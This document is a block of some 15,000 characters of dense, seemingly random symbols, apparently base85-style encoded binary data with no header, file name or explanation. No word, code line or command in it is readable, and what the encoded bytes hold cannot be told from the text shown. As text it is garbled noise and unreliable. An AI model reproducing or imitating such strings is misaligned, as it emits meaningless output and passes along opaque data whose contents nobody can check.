z!{|y156F*6NntM@E-9RbrJ!(=hJ07lfXsbDq-Z}(dH&L|Rl*&K_%%SNex%2lqlvp) zA1`pe56Ge)-dlcM=9l^@9}v+6K5*;o^MUA4LFZLX0Xe+KlyKE@_xpmKya-PowIO;+ zfz9!s@AomhB63~(0c+1`afn2B+w-v~01AU6+0C11+(o(ao7ruYdnFX+5_Zazrv0HK!QNqqosZ-ICR3xd=wXEA%tCUqcr)HVDMv`4 z3witSnT6#fSo5P2QV_QC^zonE}Ww)#rJ5AdJu`n!z<+GC(!S zB~SWeOe+jDGxO6uGU5>J&?5reX7I$7!8epV%`5#kIvKBXn+KqvuGOJFka)_L$R;2% z3XCzG3XJ2q1)qUb8SW92%!jgG51;q^HaPeAcj`#uLjF?=(uVAy82NTBCPS08Rj z<@tE;nri?w@4Hr9t{CpT#L{P~kes~MfAAp&?Gy-~3@|zny`;ETfme_C==$5EJ9W8M zl;DNvXmz@J8tA9?JSflUtU$*CQvi@R4~?q$ClE_ZgBm!JK}+f@^Bw=S!Car{78bmw z-u5!SqsXzI;=6&JAV2R_<|4`C7Ka~*+@SDrcz+=BKj+`%O&NIrNLl6wF` zq zD-zaLMWE)}{`~G;^KV^gU-py>kluKTDv4_cN><5>?!W~i10qI$vAQ&f=OfE12P!!I zrFa+gJcaNp@6s7wcvm*$t+Hwdco)a6iCC6H>OnZHXCT$_F2^-R7};*-rSS=b(w z6a?)RPMry1>o|$ICYp#7?ELu3C7Ok$)CWBJkOpv}rIr-Zf00m-aq z&5np1C*qIm&4n5f|J6)pJe32MWl_jRfnf<*AXV&UW&Cfdkd30rVimh%NV+~ermA4! z=T|1>sPnlGp`9!#VDqCKc02uxp#HM@1)aEO4UzQ3Y;~@Btz1v_T2uAHVtQkTLp8NfJWDw!E@I<1g%H8%Id}35h%tf__)SEV$z7PI; z4wzt|t|1@upVVM-Ulp(CtOh^WE2U`WAC&~{#pU+XT?WZUp!H^#W8g6Bcmx+{4r)|H zU;(y2U54`z$@9;;!UJnxCB)fB(zgX)H|%4hjh&3O0+?3X>4WVQ0!%aaFR!$BJ=iu` zEB!FSSGFGn1asfA*8bbKAR5>yYC;HLC*C!`Jm50;*nW}X8M=f(4yHvwKuvyS{O1M- z)U2ovfFKI`keAJP4~!1M^vW}{iYJdaII9JA(zj9iHlUCAghbMOO*3MylgWPui*CI0>RsngfPyyv+VWw~0}RUeUB_3P^u5e8UKYbjCTS#CUh5(a!6}6?E{*`k$O*w-(9#86J_6QO9s#>X z-&)xsZ75pZObwl5-+@GO%Gn~G_&Ss#X3+QKNBD#RNO|wU|H#RL`%54XX>}xc7xUo?=EL841{QE$%m%` z&J-FBdqw_ywVdMteKPq`ieejPnM{r5Fo%1~ z*0TA@wPSE~%JDPV3*N!X1%VAhKEaXsejJR}jK`W^9Mc*H(6i6KYWp6cq}%QpPeK_$J5TO@)@51>6A9)u@louU5pBNt9tUo+UWp)Bn%?^%s4}D{k6MW6{iEH5H zwao^%UJG}|>fLKL>2j}(UGNqNZvW8j@PRT>mO{|cXZo$`Nf{&6hk1^ zm~1$46PUZrVz)i7D8p)(`~{dF`-6weukY&n>4k*0$p^duvrmnvof7{f7*3W#RtQ(v zLjZ&)j;Bl6HZO zn+RJ9Q7`q&_w);wq_#9PRs+8Nrdj~#b}-t`5DsL@K5w+$buikVOxeUMZT?+~N>n#7 zc?jbIlnURL%yRNgHqW@Rt!W8vx2u2g44i>#qZJBar$DzW zc`uY}`?He5zRz3<$L}SMJw3(E^~sZE1`eQ4lHOvm$V|S#(3IXkFUjBFf@ut%y@jw z_ZjNs$DHuM4VcNjB7t6^S87?2ay{_r0*&n@XdqHRU3&xb(ur+ztPGuH>uQ32N3GyW zF*+PuVOg^wj!-yNw>R?i`w$F7|k8Q|fDb4trE<I#qUZ^s|Z#VgJkk4Ev8^Tee)|K$pM6De@aWZ_u zwOpJ0?U-|4&j3NI(9>}`kvbLdy3;vcl zeA=VeT8d}mZ3n$gkKmnb5)&r=vo8>eU~DPLK%J={XR*k^;0;u|4Mf zmb=t|l9{sUyJTV?UY)J14lg7*lhpxU^thE=mp{g15zYst5Kl)oP5uu?YVipR?Y;l= zE0YiMd&MOwho6-4JW_Oy64rOOi(sUxI`FM$_3U;T5*ucicxvM!!^B@^n6O^3eQDnO z6jyM!%aGW>j>}VKm>g=ye9`QZA+bwt(V+~9jfGQT8aG3Y=rqIU$dK4rWSFQyBvdkf z_evKokAo#F0G$d{p{n71sL9{+Qzhk!WtUTbSHJRD3UqUSc;(YtPNA@x`ofX7OMaI@ z7x?seW$?%Kyim|`9`r);EIcpx!UhR=4HiI}2fY6OdS1#Inm%pe zQD!-RpRq0$E0!bv3p~5x>cEiZ2oih7$QM+D;rnPGl?q{x6|92B)%G4R%ClWDfpkC( z+E0Ii@RvsByMXrvK961%^4^+UZQr#bDGsc(RSfKb+FG1M12ix0TtLd(!jmc%hD_cz zFhX75%X!ee36uNn5WAeB4uFr>`^$H}&K^FD8Dqj1SF8^MIkxXL81Fb@B0fHVoKqi$ z){oYMga_?s|A5J>*Vn7%bW!xl50>cu@ID5K6}eTk%=78wyb7lcG~dQg42zgfw%5_D0h&A|%^qq8c({W7OcNR%CfX%@obsMUT2t>ih<30{v_sa`-~;l4sn#>Q z&qlH^kqLnmdgIG^r`@6mf~s8Z+!W?Go)Q^E{4RB?SQxV1d~8)*?4?D_?G;wK*I+vDYf@gA-r~pp6owN=1*Pk$FG+JU z^qJz-B(km+3m}DwkLJ3UXD{JJd|EJqx-NO^?7ZUPSaZI*(Cq`SZFufcV#BP5wMKX> z2^3>lKej&a9Je1Oz8p3+_R78L`{B9)?N8w&>q>MPH_{?E6lpEl)!41?=FKOez?=Ra`Z`6N&+!EpZiS8g-)%Cmc>FD-u;Gg$?O68rULh~jwG zV*&R(13E>MXutD=u=ORL-eur}-|@GGY*yQ6?Vn*^48UZ~;&Ht}#@)kYRieV^4>(=d zbhC4oW0Dnwq!IW>snrC}5Y;1^aC?A? zOb0iLWs#GmQF|_qd5?YTl~|ktrnII;s3>ef$JEG%+Qr43k#+oPyPkjpso%vhT5C+o zA&2q|+{khPHpafT<#~FdHmBwgwxvvAd`JJ!k7sQ0Z~qXsi%&7^x6sTFSP597A-8_j znpScylp1p|jgu8_kUG-1_>DmHDaLu_kt@uS;hSh~QU+&d+|L#y^%$hQu7660Kt5Le zc^LtK>A3*9Y~xaN2|=g$GC~8*IjZ(PMA_C+JANf)vI@A}(Q&-+kjm((--B$^c?#Z~ zPXcdNs6eFx=Xy}7&{&&817@^VfN}E~>3j7KoQV|t9sVV^XMAo1Fyru|x=ttC6!awX7Dm8;N&JiKuW0q92fafPxU!5p^MPZ!j;Xe~ z(+xf^gOfS|mym6+W$h3}Bzd}oobHfT#6jVUssYcQQgfq>6JH1V;GHbxndu4o3QE#N zR!XQK)5A44I*;BF?lW$`jD{3DW>rrh`W8je* zjG&g+axj8d>$E-BOdk@?ufz%S{vj7{W#gC6lLf~q`Kw;I5Xw% zIsPi%fK93-1zgC0g5?_|?z3r$b)!22-arq2RM420H|HLjojilOydfIo{`5SKqa)49 zGt(O*Ji*jQni>2j7*5Dsbb{?rp}T)NHkXkk-V!E(WdE$vV58yqk)}62sp==`46Trk z6AVW*D1bRUocvuQqubNVb`s5$sp{C_l9a0&lH{~rLzD(Z_9FC$KXURD$wbSd$FsVR zIt4^d9SmyBqZ!6FR`|9E(QxW?V-3E6_h%tcdnaqK|`d!Tnv|Bk0;4Ylj=A6)gU4*Yd4 zGG+OofwN7+aooIb)fLc~$x@?B9D3hs!$D%J0AUYCRNs#N#BRB~yAGC>&tS{w>V3M} zzOR9t;7$w_+_M4+@znFsAWJhZ1z(?o_lVzq_O^YAj}_%M%F)D(f*9B zoblWKnS#F*%qD0Eft_h?F_3Yq9wkq>rtY(G3SM_BVU5|H2}kTScM_BE-t7^-VuT|U zakuLT2RzJ9dg*Po4Cu})z5j`pJ7#NW0PHj`x~6D-McaRv!jJRFbSH5^5FU0-+ZxxP zlnJy4tqxfj@OW3V$DCo~8f(Ticw-S#th@E*=5dWP0`~-XAk;{>*rc!|&u2ShbHyC8tgDQ4|?rcsU!-qch5<;^971|l{E8Bo7PYZz{~ibKhYU8Xkx z3YN4ShNF7~vL&}sHDZ%E;4V0V!IXeQRxD=*O9js!V7B(qneUgiUz5NoZ$PmYsY!=B z(F=HY4Ttdc0bXc0gi{G|aTpE(hP%yKk+b4x8O1(JR2Im^U?qwW5#{GVaKta89c3BM z6i@^$M6w$yl5Mu*hqn7oTTh1p;(e+H2C0~Z?vp_!Y7-%2pdEDF_TXzEh z^x*S1a+r(=R3ZLSF2H2{z0Ftl{RWpJ1C@VMxe55U+MG)V>y!U0_{$v}jlH(ikNC-v zBDMH8Xogn!5Y7Y%H^&H>Jhs6qtLY|4zVWn&fS_4hAR8S}RT^k-6jd|QaLqxIc=h1) zcAi$nI-!zztsPo{bc2-iFMg4trCy}St+mf?hthco(f!o31&LRvUCLRYhW}0;xaO6u z!&lI>#r!-Zx6lv7ys+;jQGSBPoTV^^t=vX{+vA5}z znZ{bt8!;l>;jwlt!MNki*3&##Bqc7Aq;pZ{&_}glRkqK$%kXrw;RK;XFq{wd0l!56 z6n;qR18lIYcVgBl@Ij6cw1psC(%P$;!vwKf!G@3ZK;9c8xxpJ38zTxHJDRZAF~#Rz zn&P0DZb8-L32p)$N!^gQ`V8YeU(9i8IYM0T z*yJCM3ghiF?7d95aMH@d%Gj1T5m0mhfT-jSY_OnOuG@=MEOv}g-l|aEIs|18^hEFg zmzac&Jaic$Nz*{BwwP;Lk`^mlS${u@08jk1!d89# zNZNj=YU^q~&i>iW$IWdS4Jjm8-*aj%NJ53EIg(UvgD|_cGZ^#~5FiiHYt@S&N%^_i z-hzz!^3u~LqU{SwnkxZjGFmVVG`aa)iZS0Nv^N>SPt_oEjsQB@T-KuDxE`s7G zrH&exI?C@wT*_Yus}gXa) zI(J- zLi3WNy}{MLO-{tX{Zf0WQA%Wz1S`)~<7NEM7uYkeA{E&nEj&pW_S%2-o{~3OBurfM z0|VPcQdVv94FRZIi`vrw{O9)q^UX`L`pX0nH z*PI>_21Px0mTU+9(h*)#X^emol4iupX$HD`Fv44QVa&#HiU68^vMq=%C&D}5t--vW zKf+7zdnJt!Er`I5pnWZh76HT808*p8TRNVXLITW!^!3Sf+o>7m9it{E%o}?k3ezfq zhBXF{sv9-iIZz2k+TfV2dH^!dyEqwS`miJNxyObUaK8W*^0{}D&uvmx^0|5KBA?r`vE+TA6c}OveW;bf>X0@(T`yh@ ze_SWq{&~XB0p441|GChpRqYqW$t_Q9N&xzd0K14!vnl2%hbzxe;e0Wz2{t1^oN9f% zIYZ1jc2>Fa!h)h%MmAp#txIXo*Z07ppPYFJ&udl@;B~Glh4SlXyDj$0!?UqFX9%%1 zyM!2D?_%nGSS^X+2}}~|2|cH{RO#jVPjTT?W#ENzudSHETBR z=$~z$;#42<`5(bs%t#`cTSOB4RD{DbX(;ptPt*VrrW{>Z4$T-!MPTR+p0KqI{({F! z2hz^3b>BE^t6n=f|Hi3X_1gaY8|QD;Yj@4RaUcuECU{8NRXqe;9yM-<53|WkJ$v=Q zOG7QFd$aX;SeV*udb*S4&FQCea$r!To|>>nPgiGC`j_H@(4(05JM?R%{jE35PUPOM zh*HA8fQUtw>}Jqtvzu?*9cP&`ER#N1I;1Hc%@f?;)TqEmgtrMR+w_EE4GG$OXW<%t z9?1&Mj!#b;`d#p&dG5(8yWL+k^oymK;W;>K1F_rc_vJ_TU4u>?>lUtYQmi?Aa1q+& ztKxk~wRGm)%{so2Ih2;BHV^5R$w40~A=eq){diJ&rF|@e#yIK{a8OJn)$2YVLVnis zT}ZbBu3pXSJpRgUt{01Qt9K}*%eVkF@SR03!Z&Oh1(8 z>3T2=Nmq2SRLbxjh<;OJzg-o814bV6w^`H2wEoC@cqik8C2Uzbh{C(u8@}~CA4F~5 z>9L2{q?5nHMl4f9H=;E08hzQbL#6|ZBVyhmC>#n;B%G<@kv*> z)%6VrRykOj??J5&INbwk`hc28PP4dQ=#qf8+Ryf`7HxIQ^uYSnk3SD)K>AiSPB+inrTJYuF_&sUF+2}h{V$EuaxIld){qV-({yg}5>)`#Rn^9on_~d9WiW+5X zNg$NL!@xU_C$BmDSp1!3R(b5WS`^5wNy)|nqjz!Io#z9d(!fRj^&iMnlIjPXWhTO2 za2_x6v_6chkGy&NnDEpW-tALK&Z$rFvCH3Wo}L^GRu6HN` zShGPR1ZE*(F0RuoCNdun5;!~7zUe^{NOprQOC%1q%!s_dQy=Wvb`v&1O#oTDVhwd-xNnfS5vN;_NPJ+-BC zucT{Ss`9y_OW{K5^2< zCrIEUv|LmcPZT;2EV$P2QE%^;ukYt7)1(K%-e6`?366j>}r-I-w*J|Q+oU;!U=N37k(N?VsU$&nw~413_Vv2Q4(oPL*`?(I{#zjd*P z9iXe({aW*Wk?JIr@_w<94%f>;buI{a&pKS5?MPNTK&s&s8(o;V7k1EWk}p(*3xoW* zkx^tw5a2|kox6h9n`tq;>;k$RGDxtC1G!{n-I=a`GD84+JmC6Itg}^*TmUO7A`opn zp{*EazgPg^_c+;j+xpbMsE?K9P9^FhW z^Y@%w;LvQ2cSyS95*2E{ZKB-C5+_{LXb3Uj~^6-G%G z^M&P><^1HQh_!J?;>L&wmpTH1)3fntVK#`BW;WiqHXkoHegR!{rG6IQK>sa#o%a;9 z5HV3|gR-_=q3$!cME%TJ(H4aX)rlj9&;>pqEj9JICo((RJCW6Vqh?TDB~ z;;Lv81iFY-i1UzImf?2O2GW2H@i)9-=o-J%!}S)>66K;uB)woLMM8Rk^q@xVNqT{o z3OQX3wK+GM$eE)gvk^lSTk|-Cy1}U&i;8rU6zdA2FItviOu^mWz_wt;+5b0(?rbPA z_!U*~KzCpsHYYD$b(nz2iC|B6>9UvcSzKiuv?Qop=4UvrpJ>=w#UgWeQ(e?2B84sr zclVYs#hJHz4dLv;pR`7Lfi@@(WQEM0+q_-@2wmmPcLREw373o<8%LtaNS_Tan!9q| z!p3%5$S2a#hp89XU3Z+XUiTKziI&qb-p*-8Tk%dhmp`HMrrrnN-VuD8j+eE&Z>46j zjSWnZFvl?M*Au9e&#B!xd`|&<@7Du~NDthkn zbIy@ysB_MM_%XUr6p0Wc$V@r}+tz=VYSZ;pc3R@bbifTBLYzfp$kv6tlF^+aJt3)H zhJ&ABemZ|Hj$!bTXbzgP5rXgx7Ei3+POh}1q2h~pC}0~M(g1HD5n?lmnLQ0&_IN#P zG$2;KIr2PdZpa9E04rM~B@bQC+wK(3Q)<=xQ|v~#4aZO>SfgXHERr;t_ZP0}tCF7n z;2&dyAzDs@R26X`)`F849W?1PbCRQHg6@sUO{8e>g7lOkMH|{_JZaYD zQ_=vN5>BN{IO!scr#^T7x)Ed#_;V9LoF*hRz=U@kO&cyV5JB-Zr8g34@O7b$XcM%l zRVGf6iVUMxK@)j?D90n$6Wb3J(XwJ0^}!KcDl(|rP=op@2lSY}J)!xAUYA|0Y7~Rf zpY)eI0SeWvVfBRYSyZ|#E^^5_R`L{zaplcQo~RhtQmiEB58X0bX;*S-vy~iaC1D6x zS4&#SVRuXDh8n1SujFPmP*t?IS;>C0lDfEYCEYOAv2sHd<8s4F_4WXt9H!|TRSiL` zg%Vx(WxYfWp$+k?$!XsQcx6M-xd>W`iu2HKzrHqq5wpzc5J^=wRID0Mg#F6;orO|9 z^h-@(9&AFb`nOJgA$Nfw1vf*qXmjfAF#<&(8E%R?W=IJf$EXxcI_c+Th&XVF^@)X1 zJxngjwzi*r8{kourxIXIrBYeN-4bBm1qppdb4q3L&~>I|ovQ>GB#6BtX%ba`mI*6@ zp;D+EsjwfDN(tKi$|I`wqMOq^Ja-y#xF!`@VKUwV%I@|wo4A*(xo+W7h#^&?9^Fx< zqG!a_D5I`GG!hlUVNnDDK5|Z1$C(#_M#DneD#iyU4|?0Lz@kAZEu|7f&kch(>Vg7h zMwUgH7Ju6#{P4G`{ni9`v%ntRtsLdWQyWoUuZF5+at958bKykQ8LaXs){y?PF;u0r ztORm{5|Ge84#jC6DU+sF@TvGs)l@XJ-vOdtno){Iwb$D!+b%UOdPl>* z_Gl$Fzp9FQwtpuf3c}pSH`kgoq^2l$pQ9df)p-R-pc2(Dj3&}Q%Nf{8OIF<*KwQ?T z7xNFu`sTD?YM^OK*HpZV#mYv1GZ?k3$py92FKtz2MOSuv4TZvHR}MRBilcM0d^Wt) z5Y3*Ef5>RZ(L*0n#MCrEF1-G^Qd|8W8ESD2BXO?uaQ)n?1!7K!H&>X27(d|`g|&*wr5ZM6 z>b26yQ8KeruWWwA#<@hpXZk7w!rPTj)zfw>AhEC-bXE6$7(KUCg%*n!Ud=oDSlnTu zk6%bmMgNv+e9L&2@K`n1iv{La;a!DI7uxax5I+Wf_q{ajAxeUvYdP0w#Q z>a+6f`xHi@%*VGQsZmu`MroCIQhNARE+fqRAg@x+iL#b>tyKn_DYKs6p{vxc#@2%k zv&)EDM(@J$HCB}eHq0WH<+>LGCp8blTnDdt5vtyux^B;wL`yW3s|3ihfvhTmdYb|= zf*2zH(?Q8f1!-`Oo=ms(yVH42K>@(xM5x8+=cq-8F%{WqBDT@%mZMsPG&dJNP6UGf zi({_dCu+{b3$yhju3%)GAHqnUesIemFZnM6q%_Yt@TY!+nu*{k`8sW#Wy9 zgUssTL25p#&sjNzq3A_aJizTB?>83~o`kWGJAX$_D&q3tiXsJD57VZklXy<-jBgw# zql~?$Q!D&CyKkX-ar~O2E+D{ax{X~8`Ps}m}0*L$ys&nYBT2Tp1@Nzqe z#D%VBWqrZH`p4K_C5o)iRicz=NV~+07z@iCD=p5$q91g4XXQl_#ka0MnqRkm4>{0V zuUhBtqg$^db%(V zn(dc2v}Z|H8UU<34=#AJ1(6ckkM)#YwvH&f+Is1}{X5?^MXQ4~z!6a-6pkEyJBR=? zwRA-FlXxdoA-bOYt;&#qS~=HUab?Vh8rMfZkXdCZMi*q@l?!d7T+y@5EVY-ekjq{g z^8r7!*2KYJuSgZ}Mx!^DP1zim)d)>vXiY<-Kv>}bN#ls|=?$p17;ln!Ne`p#{W*qn z<$>s}61twpjn*0z{(?WsxiEAg5?IvRUr$s7EkV6t%&qZ(hTnrNE?uE$vJ!pCdUHRj z$5GU5g69*F>;4hZglLH7P;gL@H91(3%n?$Pj)lVeY}haSRn_TE=u<@4PZR<5(JYI( zNzz&wSDs)`3#lAxYl6Me_eMEa+0S0SJ+btcq*a9Vptde~^~<_vNrOO{)bI4UqFMcc zw?t4T;S%`p>u8)GT(l5+NuT5;oNFU+1){}w0ZA6Iam~1MMSY!p;(GVdLUsfTN+zbQ zx2*mT;DpNm=vx#5>e>9L%Jp;CpILwTZp`?wHD>wF&^o}RGE9iFH7m;YY?KmbZ*#XX zE7+*pUVE$Uin6gQ1S~W#>yxr5fKkVy$Zb)e6~L)4%+94HU$7DFd1Ztika}p|*cdn6 zQ8dT6l&sS%Yg)D=GN?dGlb4K%vfdj8Uvqp*V16lV=eTb)Ceh>-?E_i^!5v86md7_a zOr)C0TrhH!qZeciT?BngVtvI$o4f0w7(ROD18(rV0I=fO}V2^I_=B`B~sFp=XoV3b^hzyVxi!E&#)TOp)>Yoj&UtAsaC* z#`2kAtW~*jt3G;D9E>JuptTit6^IqiK^pyZu?g?@f(Vmgo5a7p7!X}#fiV`;ckV@~ zTB?&zD{`IM(d`0vDA8spc2#N`Z8v5y(oWe7X++H>Supd@&uXIRVDK=u zUo2ausplEqJDliZF3hP@i^LhJ1O~8Q_hsLCLH1(a#-1gtSHe};wOsu!1?3G|3H@yH z`{isXv!51}wXIzgDwqzusdpvoF)h&mxJ`KD059)!!E}p*^IjklqzCPVv(zK6Rf7%8 zChQ)s^f1UGfe-M)ec2BQZ9V246lspD(7ZF)`5fzYv!%&9HN;#Pr-AE$ER{eOBwzVc zL^6S-meGJ&abiiGc7+W~!G~*X$Yn0B-Kc{?xaeFV=mqgpElqoF*hAV-xeXvCPbZ#3 z`ErXUgPf_hx#V0om^@inbT~U1L{s8ZE`*l=1m_VKLJE1*qz$!s#HI3xHNLeeV3K2( z`0q$A7p61$FT5gi0;9b{O0pSO%vzO=gpa#5Yr?v!jx4x{`&2@&uTZiW#+l%vm76Nh z4PLfmUU%FsNF7l!Ro!s_phaUI_SL|Zr3U~TluNWBXQvpzOo~i(3ujdrj@)xFi_XVW zY91RS%ap?|x(ty^+F>3p^r%N(f9${a>-+yZ%udx-YNayJJ^AZ}^4E(df4%Sgb#Xc8 zuge>tLOGx-&;)sv;wjJmSU&u5jgL;<2`+`g??Rt;z;f3IMRF)++jcaS$BO{!#*qRr z9zCX7OU#Ynp#GfJD20<7M#;eKjb>y^Hhp*t-%noNOLk9k>n-9IbXE1Pob>~@Z~+>( z0D<&ZO-?7WtwraiylW7HOE~;cE;jEYIPYu zbc!x(s?<5OBP)@$B_b3i@ux1JdI6OYP}F(yM`$1<-qJ7Z+`|GTTvJ>&+^-QkL=8qQ z`-z34HgAMAl?^M!hYn9Ul~qUuE0mcF*JetZzWl`&o&0V}@atCno1YVJg)zYsF#snw zm2d*Knu3H8+so?T$3iUC1TxpIIQhJ!X9$I3!A)f)l-wK>l`IK_NQt6K9eEiPOx~yV z!4{7mweG;uNRyBmum?VYHZHJU#Rt{#ew>fp=gSSOR;&@f#ZIpmeXs>k_7qGh>~PD* zw&WUfWvzBucha}Z#feD%%LCBSDR8) zM@{4m601Z#9|p=016P~Z=TPBn&jc0PT*ePU#byKP2kV@htOLW|dF@dS3^Q5CxxF_= z)F;F%KZ=1JOiy5$qot&pob!R2cxgdRHtGvEkAWCQ&gJ@8X(0mFLhuEGqAtlTE}7~y zUqUO^ijibeGvq-RrAT7&g9U)UWIk?|2nydh5v@6Q%oXmW%txS$nj2w5RBKQI6K%s< zWR)pSB~OTtlUpMDA4tjH0UV_=uZei#%)}+8wPwi89KCX!3ha@w%0q-DebbI_85j;k z(v4u{Q!MY%QT9I%aT0J~{&(e3{UEl`bS47&2f}GY|NcK+jd$kZ96!`F#H2yVl-FK=?R_Xm zQa1g<$vsGECMC%Vsm#@JmXE{d**>R~V|I2-^ZMJh)A!W>m0Cl&dM6x_!{(gghbeJ^ z5q9imDle*%qOEdp2>biw|AdHIiH0>Ia04Y9WMBWYM?dXd*0;{ixc*(q zO3Nl6>#gq7GWyk@=hY$-g3l6V_=yj*qGRnT8nR*MlODhiO*tE4&YIe58d zBE6TT0!=6Pa?rxXtLG5e|3sM&46wqg!;s?c#Vc*`WRec(( zD!rFg&B$$khdv-b>zq*IURFt}L;YFm2HxXj-60|k1FrA8~e-pl9E z>Ff-bdRzax0+m!{IU~OPU<9>>RCG{RC~>YtHRQ-(M(1?c@l#pK$)EICn_>N#&-Ck` z`vi!>o3xx^1atD8*0uiA%rz~{u8V0-8?QB41&Sg`eqno)MWF>I!g3h?U)1buQ8E(? zJOKLHC2=BKwZs!?wRw-06lKG-0c6(nEU@ypSYTOL-h@`S@ip;|P}$@f9*Vd%P9`_2MADl(NHOADl{igdwvtE`!#>r=eA=vI8uD5UbDL zep(r%O1Ib6}NCwIGU*(=Mbwc6I9Ts^j4tOEn0ojcQ` z)WDkjDFO5gvL6&|1O{m2Q@zzEgRAIa{CNT2fx;o6H>~^hv9~Nu{!C1Ry&3|=r?EP% z1NND4+9=k?bQcEN(bp$}7W>EM&>RIcHTcBpJE+w1e2a1Od@Z8XPK8^BI=m7bg^AoO zS^WnFzjM=v^|y2NS7git_?3Ci*FTn~awIjmkkvC!Nwab)JG9T#=h{)S*rpH`EF0r> z46`;K;4b1XhwlQscZ!Eo9fFX1W1tURmGoC^X^bPxr>KD7|A{JG@r* zWmW9YnoF}FQbn|9uulAeP&>_!zVQp6#-~7f*80k;uC`L6Kh=R-j?Bafeg6mGga8f> zfEQrKDp&nWcHS~YP$#tVESRdqZq4!MElNHZo?9&hqE4DSJU5nw6*_wk54c#Uu8dF2 z--Bz11%P)8${JP-g^e@XrO=;zQhEV3cF!rR^&h%UPhNcMdjD0g__ne_rhmqON%H53 z?J}%*zw7Uf`IPqT1HaL?xb) zWMo!-p6h|1Q7edo_lv{h3dR0{3l?k9JlDA3()ZA#8#9y7lb4EtYB8y=i=T^wDds)5O15Wf2-JhvCHv zRcB~j#@e0bu0XIOue?r61*RRX{*xL?&_7hF%^Bw@PRQyP(v=3&FEx$uki6*FW!2j zlQF|hBXrBFRjC);M4q6iN9MNo=;A_}3pXrGDKba*`dRG}2wUsf1tLg!`}1 zKTBN0p$ zf~M^q^9FY~6^aHvfQ@H1ZiVW)18|f-_E}CHcYwJn+gUV#qn)F&;-|uK9@~Vu7-)BU0c{`qICn(k zw;b))|MWj0OSTSyRVcnYrvcoU03@V`H9Do+fv5_r@?l>?c*-Q^>Q`Ssn2M{wZo=03 zL?(qdI4%r<`y%(;X`XuEHGY71Me~m>Hs@|?PL`*dzjm?thZmc3H#H~8Q_XK!Z2pIf z&AFSJqoS($>lT~eyV#t&sW~a0YX17g<{w;a&fV0U3{N$GL#H{sP{y)chd_lpqbbM^ z=#vtqMQHtsKpL&oG!MCJfo3#Th}7Rr`xzF@?LRqSU7+;#S!g%)LcaB;oe*nX?Bwn4 z#5!<#bl!=#1b3xm_q&R&!gr~_U=6UIsG6*(6<@iOc;$4b3nJea!Z4uKOZY&Y`3^qd ztoQ*?r9b~k1*s`*^f}B_NCex}l#}WkL1Js(dH_e&`4g(Yf-*Sk@0|JPL2bd@Ih$ZK zkH(L)f+pH(oIS@G^{|sO-W9q(XX<+zQhlz>lVD6(*Ug03A)Yf1pwe-QUZn%EQOY)* z=H&B$k@OvRrN-N%aWJp@FlU6P4SR0DB%hd-R_V@~-Yvnpg?ZWYXW7mfi+G>h^f#B< zK$BG&nMm;F`rFg@cNmiWTNYkffBn(NdLe>HbqzUimp)a9hW%Ad(vGRE3aoJnn zc#Sw9FS_k@K2~NXt=Xv5$Ld1jh>d_)m#l8#GPsk;SiFq1HhDTs zU42i+GtE}^WjkbCtWqf|L>!t!W5j8y55G5dmqy0rD(O~lb?Wl45o~jH7xSX+g!OEX zVe8jlX*!WEa^feYPYz+R@8uP(z6@`KT}t?}wB1hM{>5ZoK1QcvzIL7_VM%}W9iGId z-Tvl-|MG4>bmDG*?i(2GJtyw=SHFSL-sf&Nf$Sr{mDc>^klp0Te|U^1iLt~Y=k)`; zoxO_ouiREb?7zs_Zk+fDhr~Z}W@9deopjs+9(yZ$Lv5TWqf*QRpCxVr^bYnqf2S;z z$phwJY1K1A!Hz)KO)oQ$lqGstcIFah5pHJL^4ZQfez4&qb8!sns&V5RgEq1kS_nVl z95{9Mq*U%n(%?zSW^CM<3{pq2Vy?;{($&Vdc`&#oZCAzJE(O!o-cjzVHEu*NaL$`HEB zu7pl|{9nL#c?C9f2-%B$Yz_A1E|o8_zQ`UxOJOdOy&*N4i9(Y>>Ecpi)yVI3=qF3S z1FRlW1^IZ%PNhvr9?pn}5TTNQrs8zP-$v1 zQ__&D`)~D(W4z(~xmXOHwcll>K<$u*Sp89hj3JYzz)L-Ld5WYQONgeTU|ioT2CR*u zpoJdgrFty+jf4*=bO5{fUG4LxwECy$H ztYSp30FI0y3eB)gNOl*Q8P?CN3%R$c)aPZZykMLQEkC#e_9ct8Qh)gs+F^T>b%|E+ zKbRrd%DQw3pyA|iu;~$#hj2})mdiqVfCmt@7VR>2_LgBi14xGQOv}9mZy7*4^SS6q zXYSX52dw&b{yz)Mdy4lGek|KR+f5sq#vQfp2>V^X-j?&e5!)Y6s;N?kf)3 zqDIy1ERF=wcLb{oKuP!9f(9q)&77C(hf#8u>xY;#hX_XwC_oz4aKarvC<-dgjRTL@|3IY%8g4X4bdfK9D6(x>lN5R& z4uSc^k7;Ef%$|&Weq;_C>wH_}V=SO@225Z}s=u@LjqSY%G&g(6R+|<*m1x9mqd=Gv z`BzQ4R+%^khN(q0#`wNN`%m#AK9}_EeyZchuLJzY^9tU84xMCvr(5?xRTZ4%Fd8i# z?NTT43?4OkC!~;CQzS9GVkXu8gG_+-5DiLYEcIYvsdb7W&k+X*<~XdWhh?}ilm=V> zr%OKwk>t+=wC6OSO?bfxMvNT_sm^lHXW3Qg&M$72NK;;n(eL1+v+qP{FGQvD!ir|Pc(DZBu(i{ z1BMH6>ZRl#_h|WUSS>;@mWm8d=hCyqFM30O+2`DCEHfeV_D#na{4%&nei9+k3D#>(_T?&)1oT1x{YdZEG#f zTzBv^O;_yOMjs{LNt9y@;Dnn#MWB!1f0ZCDc!yli4li><6SX$}#Zv7=O=3!nD*Vvl zghpk~gwwGj<)A>@iW+oWN`UXngc)B1Grkb+&M!Kez*Eo2C#+yG`M9!`|0C%MuXa`q zCvT@^#YU7%rI3`d0F*QC$;~@Jf}+8AEjPQ3q~jnv){^WXo#MRNgjfNbV z3(PWHDJVz$L5o*lvdS=<^)A+u)kgv-{X3hQv4vb1hg`;BI zog@0U5&dk|iGs#Bvs4jrhq%~Q4T2xGK{-=}l?%DB-JXI8=6_W0%z;YmCNeL0yt8_@ zgh0Dr5>wImx=&WSBvH22U&C|-jrD$)eBbKWY4v!Ph~AYP z>8G|OouJ-|J|Mj3rnHR3o2yb5n9a7%L|~~~fm+!(GIAd6OvD`vePTF-S2Pjk)0xPh za}zmd813wI{j6Hv8;Q<1b1~O(b&mXdSUVSBq&LiAwEpX41D6BuN|8##i_n2syjlC<_84L7AB!dqAff*R zzip!g42}fj(g>Ftjx>jU{ko$=rpJyj@JT#)=6#B3yA8&yJfVM4~4~+-qnM6|L9Rbb&_{M%>Tl7-LdgqMpVCS`nVI!>>Ga@I7)(vC0Cp| z0bWBNiRdhs4gab1&{(e4KnEvV%uqIa*G?vjp7ho()}0LOr9mzMplHkMl@z69MIoEa 